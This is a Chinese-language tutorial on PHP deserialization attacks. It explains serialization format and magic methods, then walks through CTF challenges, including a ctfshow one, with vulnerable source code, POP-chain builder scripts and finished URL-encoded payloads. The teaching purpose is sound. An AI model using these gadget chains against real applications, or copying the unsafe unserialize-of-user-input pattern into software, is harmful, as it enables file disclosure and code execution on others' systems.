什么是序列化与反序列化
这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦。
序列化演示
<?php
class test{
public $name = 'name';
private $sex = 'sex';
protected $age = '20';
}
$test1 = new test();
$object = serialize($test1);
echo $object;
?>
其输出结果为
O:4:"test":3:{s:4:"name";s:4:"name";s:9:"testsex";s:3:"sex";s:6:"*age";s:2:"20";}
序列化就是将原有的对象转换为一个字符串
这个字符串中存储这对象的信息,在需要的时候只需再将这串字符串反序列化就能得到对应的类对象。
这里关键函数serialize()
将对象序列化
有几个要点
- private属性序列化的时候格式是
%00
类名%00
成员名 - protected属性序列化的时候格式是
%00*%00
成员名
注意:
- 一般做题时应当直接将序列化后的字符串进行
urlencode
,如果直接打印在浏览器上其中的%00
不会显示,手动复制是没有%00
的。 - 序列化只序列化属性不序列化方法(函数)。
反序列化演示
<?php
class test{
public $name = 'name';
private $sex = 'sex';
protected $age = '20';
}
$test1 = new test();
$object = serialize($test1);//序列化对象
echo $object;
$newObj = unserialize($object);//反序列化
var_dump($newObj)
?>
运行得到
注意:
(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。
(2)我们在反序列化攻击的时候也就是依托类属性进行攻击
我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击
如何利用反序列化进行攻击
前提条件:
- 必须有unserialize()方法
- 作用域下有相应的类存在且类中存在魔术方法
由于序列化和反序列化只对类中的属性有效,并不会对方法生效。所以php魔术方法就成了关键。
什么是魔术方法
php 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 魔术方法不需要人为调用,它会在特定条件下自动调用。
常见的魔术方法如下:
__construct()//类的构造函数,创建类对象时调用
__destruct()//类的析构函数,对象销毁时调用
__call()//在对象中调用一个不可访问方法时调用
__callStatic()//用静态方式中调用一个不可访问方法时调用
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__isset()//当对不可访问属性调用isset()或empty()时调用
__unset()//当对不可访问属性调用unset()时被调用。
__sleep()//执行serialize()时,先会调用这个函数
__wakeup()//执行unserialize()时,先会调用这个函数
__toString()//类被当成字符串时的回应方法
__invoke()//调用函数的方式调用一个对象时的回应方法
__set_state()//调用var_export()导出类时,此静态方法会被调用。
__clone()//当对象复制完成时调用
__autoload()//尝试加载未定义的类
__debugInfo()//打印所需调试信息
重点说明:
- __construct():当对象创建时会自动调用(在
unserialize()
结束后调用) - __wakeup() :
unserialize()
时会自动调用 - __destruct():当对象被销毁时会自动调用
- __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用。例如执行
echo new test();
其就会自动调用对象中的__toStrong()方法 - __get() :当从不可访问的属性读取数据。例如从对象外部访问由
private
和protect
修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名
ps:上述用法说明不全,使用时应参考相应文档
简单的案例
打开审计源码
<?php
class example {
public $str;
public function __toString()
{
return $this->str->flag;
}
}
class get {
private $flag;
public function __get($name)
{
include($name.$this->flag);
return $flag;//flag in flag.php
}
}
if(isset($_GET['a'])) {
$a = unserialize($_GET['a']);
echo $a;
} else {
highlight_file(__FILE__);
}
这里目的是要触发 __get() 这个函数,魔术方法__get()会在由外部访问对象中的私有属性时自动调用,其中参数伪访问属性的属性名。再观察example这个类,这里发现 __toStrong() 方法,而又存在 echo $a
这句,所以可以确定要构造的这个 $a 就是 example这个类的对象,而且这个对象中的属性 $flag 也应为 get 这个类的对象,从而 执行 return $this->str->flag
时就会跳转到 get 对象的 魔术方法 __get($name) ($name为要访问的私有属性的名称,即 flag 这个属性名)。之后要 include 'flag.php'
,由于$name == flag,所以要构造 $flag == ‘.php’ ,拼接起来就可以包含 ‘flag.php’ 从而拿到flag。
即
<?php
class example {
public $str;
}
class get {
private $flag;
function __construct($flag)
{
$this->flag = $flag;
}
}
$a = new example();
$b = new get('.php');
$a->str = $b;
echo urlencode(serialize($a));
运行得到payload
O%3A7%3A%22example%22%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A3%3A%22get%22%3A1%3A%7Bs%3A9%3A%22%00get%00flag%22%3Bs%3A4%3A%22.php%22%3B%7D%7D
对这道题的简单简单的总结:首先必需要了解php在反序列化中这几个魔术方法的用法,如果连这个都不知道的话基本就没法做。另外要了解面向对象的这种编程思想,注意对象在其中的各种应用。类似的其他的php反序列化的题目基本上也都是相同的思路,明白如何通过已知的代码将各对象之间联系起来。
例题
ctfshow卷王杯 web1 easy unserialize
审计源码
<?php
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
include('flag.php');
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["payload"])) {
unserialize($_GET['payload']);
} else {
highlight_file(__FILE__);
}
?>
这里基本的魔术方法就不再解释了,重点说一下这几个不常见的。
这里首先解释一下 array_walk()
这个函数。这个函数在当前题目的形式是 array_walk($array, function($value, $key) {})
,这个函数可以将目标数组中的每一个元素给后面参数中的函数来处理,这里 $array 是一个数组 或一个类对象(其可以看作是一个数组,其中的属性为数组中的键值对)。后面的匿名函数第一个参数为数组(对象)中的 “值”(属性值),第二个参数为数组(对象)中的 “键”(属性名)。
后面 __call($func, $args) 函数是在调用对象中不存在的方法时会自动调用,参数 $func 是所调用函数的函数名, $args 是对应函数的参数。 call_user_func([$this, $func], $args) 方法是调用对象中具体函数的一种方法,[]中第一个参数是对象,第二个参数为对象中需要调用的函数的函数名(字符串格式),$args 参数是所调用函数中的参数。
__get($name) 函数是当从外部访问类中的私有属性的时候会自动调用,参数 $name 是所访问的属性名。
同时要知道在 php 中调用类中的函数还有一种不常用的方法,如下
<?php
class test {
public function testFunc() {
echo 'test success!!!';
echo '<br/>调用了函数testFunc()';
}
}
$obj = new test();
[$obj, 'testFunc']();//调用obj对象中的 testFunc()
运行结果如下
这一点用在了上面例题的 $var[$name]();
把该解释的都解释了,那接下来就说说这题怎么去做。这题其实还是有点复杂的,就借一张图来说吧。
对应代码
<?php
class one {
public $object;
}
class second {
protected $filename;
public function __construct($filename){
$this->filename=$filename;
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
}
$obj1 = new one();
$obj2 = new one();
$obj3 = new one();
$obj3->year_parm = ['Happy_func'];
$obj2->object = new third(['string'=>[$obj3,'MeMeMe']]);
$obj1->object = new second($obj2);
$payload = serialize($obj1);
echo urlencode($payload);
运行得到payload
O%3A3%3A%22one%22%3A1%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3BO%3A3%3A%22one%22%3A1%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7D